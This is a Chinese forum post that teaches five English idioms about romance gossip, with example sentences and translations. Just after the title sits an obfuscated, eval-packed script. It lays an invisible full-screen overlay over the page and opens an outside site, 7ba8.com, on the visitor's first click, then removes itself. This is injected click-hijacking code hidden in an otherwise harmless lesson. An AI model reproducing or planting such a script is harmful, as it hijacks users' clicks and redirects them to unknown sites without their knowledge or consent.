五种地道的“八卦”表达

<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>说到“八卦”,很多人会立即想到诸如谁跟谁很配、谁对谁有好感、谁俩又分了等等跟感情有关的话题。今天,咱们就集中八卦一下,看看这些话题在英文中的地道表达。
  1. fix someone up 撮合某人
  I think Jane and Mark would make a perfect couple. Let's fix them up。
  我想简和马克会是理想的一对,我们来撮合他们吧。五种地道的“八卦”表达
  2. take a shine to 有好感
  He really likes you. There are very few people he takes a shine to right away。
  他真的喜欢你。他很少对人一见面就有好感的。
  3. third wheel 累赘,电灯泡
  You two go on ahead. I don't want to be a third wheel。
  你们两个去好了,我不想当电灯泡。
  4. have it bad for 狂恋
  He really has it bad for her, but she has no ideas。
  他狂恋着她,而她却不知道。
  5. Dear John letter 分手信
  Jack received a Dear John letter from his girlfriend because he has broken her heart。
  杰克收到了女友的分手信,因为他伤了她的心了。
您需要登录后才可以回帖 登录 | 注册

本版积分规则

Copyright © 2020-2021 tigtag.com |网站地图  
快速回复 返回列表 返回顶部